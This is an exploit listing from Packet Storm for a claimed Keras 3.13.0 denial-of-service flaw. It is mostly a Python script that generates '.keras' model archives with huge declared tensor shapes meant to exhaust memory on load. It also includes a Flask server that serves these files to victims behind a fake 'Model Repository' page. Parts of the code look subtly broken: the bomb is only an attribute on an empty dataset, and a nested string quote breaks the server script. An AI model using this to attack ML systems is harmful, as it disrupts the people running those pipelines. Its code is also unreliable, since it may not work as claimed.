PACKETSTORM 7.5 HIGH

📄 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685

7.5 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

This script is a security research tool demonstrating a denial of service vulnerability in Keras model loading through malicious HDF5 shape bombs. It generates .keras model archives containing artificially declared extremely large tensor shapes...
Visit Original Source

Basic Information

ID PACKETSTORM:219685
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Keras 3.13.0 HDF5 Shape Bomb Denial-of-Service Exploit Generator |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pypi.org/project/keras/ |
==================================================================================================================================

[+] Summary : This script is a security research tool demonstrating a Denial-of-Service (DoS) vulnerability in Keras model loading through malicious HDF5 “shape bombs.”
It generates .keras model archives containing artificially declared extremely large tensor shapes designed to force excessive memory allocation during deserialization.

[+] POC :

#!/usr/bin/env python3

import os
import sys
import json
import h5py
import zipfile
import struct
import argparse
import logging
import numpy as np
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from datetime import datetime

logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

MAX_RANK_BEFORE_FIX = 64
MAX_BYTES_BEFORE_FIX = float('inf')
EVIL_SHAPES = {
"petabyte_bomb": (1000000, 1000000, 1000000),
"terabyte_bomb": (100000, 100000, 10000),
"gigabyte_bomb": (50000, 50000, 400),
"rank_bomb": tuple([1000] * 100),
"overflow_bomb": (2**31, 2**31, 2**31),
"null_bomb": (0, 2**31, 2**31),
"negative_bomb": (-1, 1000000, 1000000),
"fractional_bomb": (1000000, 1000000, 1000000, 1000000),
}

class HDF5ShapeBomb:
"""Generate malicious HDF5 files with shape bombs"""

def __init__(self, output_file: str = "malicious_model.keras"):
self.output_file = output_file
self.temp_dir = Path("temp_hdf5_bomb")
self.temp_dir.mkdir(exist_ok=True)

def _create_shape_bomb_hdf5(self, shape: Tuple[int, ...], dtype: str = "float32",
dataset_name: str = "layers/dense/vars/0") -> str:
"""
Create HDF5 file with malicious shape declaration

Args:
shape: Declared tensor shape (actual data is minimal)
dtype: Data type (affects memory calculation)
dataset_name: Name of the dataset

Returns:
Path to created HDF5 file
"""
h5_path = self.temp_dir / "model.weights.h5"

with h5py.File(h5_path, "w", libver="latest") as f:

groups = dataset_name.split('/')
current = f
for group in groups[:-1]:
if group not in current:
current = current.create_group(group)
current = current[group]
dataset = current.create_dataset(
groups[-1],
shape=(0,),
maxshape=(None,),
dtype=dtype,
data=np.array([], dtype=dtype)
)

if hasattr(dataset, "attrs"):
dataset.attrs["DECLARED_SHAPE"] = shape
dataset.attrs["SHAPE_BOMB"] = True
dataset.attrs["TARGET_MEMORY_BYTES"] = self._calculate_memory(shape, dtype)

logger.info(f"[+] Created HDF5 bomb at {h5_path}")
logger.info(f" Declared shape: {shape}")
logger.info(f" Memory required: {self._format_bytes(self._calculate_memory(shape, dtype))}")

return str(h5_path)

def _calculate_memory(self, shape: Tuple[int, ...], dtype: str) -> int:
"""Calculate memory required for shape"""
try:
import math
total_elements = math.prod(shape)
except OverflowError:
total_elements = float('inf')

dtype_size = np.dtype(dtype).itemsize
return total_elements * dtype_size

def _format_bytes(self, bytes_count: int) -> str:
"""Format bytes to human readable"""
if bytes_count >= 1024**4:
return f"{bytes_count / 1024**4:.2f} PB"
elif bytes_count >= 1024**3:
return f"{bytes_count / 1024**3:.2f} TB"
elif bytes_count >= 1024**2:
return f"{bytes_count / 1024**2:.2f} GB"
elif bytes_count >= 1024:
return f"{bytes_count / 1024:.2f} MB"
else:
return f"{bytes_count} B"

def _create_config_json(self, model_config: Dict = None) -> str:
"""Create Keras config.json"""
if model_config is None:
model_config = {
"class_name": "Sequential",
"config": {
"name": "sequential",
"trainable": True,
"layers": [
{
"class_name": "Dense",
"config": {
"name": "dense",
"trainable": True,
"dtype": "float32",
"units": 10,
"activation": "relu"
}
}
]
},
"keras_version": "3.0.0",
"backend": "tensorflow"
}

config_path = self.temp_dir / "config.json"
with open(config_path, "w") as f:
json.dump(model_config, f, indent=2)

return str(config_path)

def _create_metadata_json(self) -> str:
"""Create Keras metadata.json"""
metadata = {
"keras_version": "3.0.0",
"backend": "tensorflow",
"model_config": {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True}
}
}

metadata_path = self.temp_dir / "metadata.json"
with open(metadata_path, "w") as f:
json.dump(metadata, f, indent=2)

return str(metadata_path)

def build_keras_archive(self, shape: Tuple[int, ...],
dtype: str = "float32",
dataset_name: str = "layers/dense/vars/0") -> str:
"""
Build complete .keras archive with shape bomb

Args:
shape: Malicious shape declaration
dtype: Data type
dataset_name: Dataset name in HDF5

Returns:
Path to generated .keras file
"""
logger.info(f"[*] Building Keras archive with shape bomb: {shape}")

h5_path = self._create_shape_bomb_hdf5(shape, dtype, dataset_name)

config_path = self._create_config_json()
metadata_path = self._create_metadata_json()

with zipfile.ZipFile(self.output_file, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(h5_path, "model.weights.h5")
zf.write(config_path, "config.json")
zf.write(metadata_path, "metadata.json")

for f in [h5_path, config_path, metadata_path]:
if os.path.exists(f):
os.unlink(f)

self.temp_dir.rmdir()

file_size = os.path.getsize(self.output_file)
logger.info(f"[+] Keras archive created: {self.output_file}")
logger.info(f" File size: {self._format_bytes(file_size)}")
logger.info(f" Memory impact: {self._format_bytes(self._calculate_memory(shape, dtype))}")
logger.info(f" Amplification ratio: {self._calculate_memory(shape, dtype) / file_size:.0f}x")

return self.output_file

class KerasDoSAttack:
"""Execute DoS attack against vulnerable Keras installations"""

def __init__(self, target_model_path: str = None):
self.target_model_path = target_model_path

def test_local_vulnerability(self, model_path: str) -> bool:
"""
Test if local Keras installation is vulnerable

Args:
model_path: Path to malicious model

Returns:
True if crash occurred (vulnerable), False otherwise
"""
try:
import keras
logger.info("[*] Attempting to load malicious model...")

model = keras.saving.load_model(model_path)

logger.warning("[!] Model loaded successfully - Keras may be patched!")
return False

except MemoryError as e:
logger.error(f"[!!!] MemoryError: {e}")
return True
except Exception as e:
logger.error(f"[!!!] Crash: {e}")
return True

def create_remote_exploit_script(self, output_file: str = "exploit_server.py") -> str:
"""
Create a malicious model server that serves shape bombs

Args:
output_file: Output script name

Returns:
Path to created script
"""
script_content = '''#!/usr/bin/env python3
"""Malicious model server for CVE-2026-0897"""

from flask import Flask, send_file, request
import os
import zipfile
import h5py
import json

app = Flask(__name__)

EVIL_SHAPE = (1000000, 1000000, 1000000) # 4 PB bomb

def create_malicious_model():
"""Generate shape bomb on demand"""
import tempfile
import numpy as np

temp_dir = tempfile.mkdtemp()
model_path = os.path.join(temp_dir, "malicious.keras")

with h5py.File(os.path.join(temp_dir, "model.weights.h5"), "w") as f:
dataset = f.create_dataset(
"layers/dense/vars/0",
shape=(0,),
maxshape=(None,),
dtype="float32",
data=np.array([], dtype="float32")
)
dataset.attrs["DECLARED_SHAPE"] = EVIL_SHAPE
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True},
"keras_version": "3.0.0"
}

with zipfile.ZipFile(model_path, "w") as zf:
zf.write(os.path.join(temp_dir, "model.weights.h5"), "model.weights.h5")
zf.writestr("config.json", json.dumps(config))

return model_path

@app.route('/model.keras')
def serve_malicious_model():
"""Serve the shape bomb model"""
model_path = create_malicious_model()
return send_file(model_path, as_attachment=True)

@app.route('/')
def index():
return '''
<h1>Model Repository</h1>
<p>Download models for your ML pipeline:</p>
<a href="/model.keras">Download model.keras (latest)</a>
'''

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
'''

with open(output_file, 'w') as f:
f.write(script_content)

os.chmod(output_file, 0o755)
logger.info(f"[+] Remote exploit server script created: {output_file}")
return output_file
class ExploitTester:
"""Test and validate the exploit"""

@staticmethod
def test_memory_impact(shape: Tuple[int, ...], dtype: str = "float32") -> Dict:
"""Calculate theoretical memory impact"""
import math

try:
elements = math.prod(shape)
bytes_needed = elements * np.dtype(dtype).itemsize

return {
"shape": shape,
"elements": elements,
"bytes": bytes_needed,
"bytes_formatted": format_bytes(bytes_needed),
"dtype": dtype,
"overflow": False
}
except OverflowError:
return {
"shape": shape,
"elements": float('inf'),
"bytes": float('inf'),
"bytes_formatted": "INFINITE",
"dtype": dtype,
"overflow": True
}

@staticmethod
def scan_keras_version() -> Dict:
"""Check Keras version and vulnerability status"""
try:
import keras
version = keras.__version__

# Parse version
parts = [int(x) for x in version.split('.')[:3]]
is_vulnerable = False

if parts[0] == 3:
if 0 <= parts[1] <= 13:
is_vulnerable = True

return {
"version": version,
"is_vulnerable": is_vulnerable,
"has_fix": not is_vulnerable
}
except ImportError:
return {
"version": None,
"is_vulnerable": False,
"has_fix": False,
"error": "Keras not installed"
}

def format_bytes(bytes_count):
"""Format bytes to human readable"""
if bytes_count >= 1024**4:
return f"{bytes_count / 1024**4:.2f} PB"
elif bytes_count >= 1024**3:
return f"{bytes_count / 1024**3:.2f} TB"
elif bytes_count >= 1024**2:
return f"{bytes_count / 1024**2:.2f} GB"
elif bytes_count >= 1024:
return f"{bytes_count / 1024:.2f} MB"
else:
return f"{bytes_count} B"
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-0897 - Google Keras DoS Exploit (HDF5 Shape Bomb)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit.py --shape petabyte_bomb --output malicious.keras
python exploit.py --shape 1000000,1000000,1000000 --output bomb.keras
python exploit.py --test --model malicious.keras
python exploit.py --all --output-dir ./bombs/
python exploit.py --server --port 8080
python exploit.py --check-version
"""
)

parser.add_argument('--shape', help='Shape bomb type or custom dimensions (e.g., 1000,1000,1000)')
parser.add_argument('--output', '-o', default='malicious_model.keras', help='Output .keras file')
parser.add_argument('--output-dir', help='Directory for multiple bombs')
parser.add_argument('--all', action='store_true', help='Generate all bomb types')
parser.add_argument('--test', action='store_true', help='Test vulnerability with generated model')
parser.add_argument('--model', help='Model file to test')
parser.add_argument('--server', action='store_true', help='Create remote exploit server script')
parser.add_argument('--port', type=int, default=8080, help='Port for exploit server')
parser.add_argument('--check-version', action='store_true', help='Check Keras version vulnerability')
parser.add_argument('--dtype', default='float32', help='Data type (float32, float64, int8, etc.)')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

args = parser.parse_args()

print("""
========================================
CVE-2026-0897 - Keras DoS Exploit
HDF5 Shape Bomb - Resource Exhaustion
========================================
""")

if args.check_version:
info = ExploitTester.scan_keras_version()
print(f"[*] Keras version: {info['version'] or 'Not installed'}")
if info.get('is_vulnerable'):
print("[!!!] VULNERABLE version detected! (3.0.0 - 3.13.0)")
elif info.get('has_fix'):
print("[+] Keras appears patched (version > 3.13.0)")
else:
print("[?] Unable to determine vulnerability status")
return

if args.server:
attacker = KerasDoSAttack()
script_path = attacker.create_remote_exploit_script(f"exploit_server_{args.port}.py")
print(f"\n[+] Exploit server script created: {script_path}")
print(f"[*] Run: python3 {script_path}")
print(f"[*] Victims will download malicious models from http://your-server:8080/model.keras")
return

if args.all:
if not args.output_dir:
args.output_dir = "shape_bombs"

os.makedirs(args.output_dir, exist_ok=True)

for bomb_name, bomb_shape in EVIL_SHAPES.items():
output_file = os.path.join(args.output_dir, f"{bomb_name}.keras")
generator = HDF5ShapeBomb(output_file)

print(f"\n[*] Generating {bomb_name}: {bomb_shape}")
generator.build_keras_archive(bomb_shape, args.dtype)

print(f"\n[+] All bombs generated in {args.output_dir}/")
return
if args.shape:

if args.shape in EVIL_SHAPES:
shape = EVIL_SHAPES[args.shape]
else:
try:
shape = tuple(int(x.strip()) for x in args.shape.split(','))
except:
print(f"[!] Invalid shape format: {args.shape}")
return

impact = ExploitTester.test_memory_impact(shape, args.dtype)
print(f"[*] Shape bomb configuration:")
print(f" Dimensions: {impact['shape']}")
print(f" Total elements: {impact['elements']}")
print(f" Memory required: {impact['bytes_formatted']}")
print(f" Data type: {impact['dtype']}")

if impact.get('overflow'):
print("[!!!] INTEGER OVERFLOW DETECTED - May bypass some checks!")

generator = HDF5ShapeBomb(args.output)
generator.build_keras_archive(shape, args.dtype)

if args.test:
print("\n[*] Testing vulnerability...")
attacker = KerasDoSAttack()
is_vulnerable = attacker.test_local_vulnerability(args.output)

if is_vulnerable:
print("\n[!!!] Keras IS VULNERABLE! Process crashed.")
else:
print("\n[+] Keras appears patched or model was safe.")

else:
parser.print_help()

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.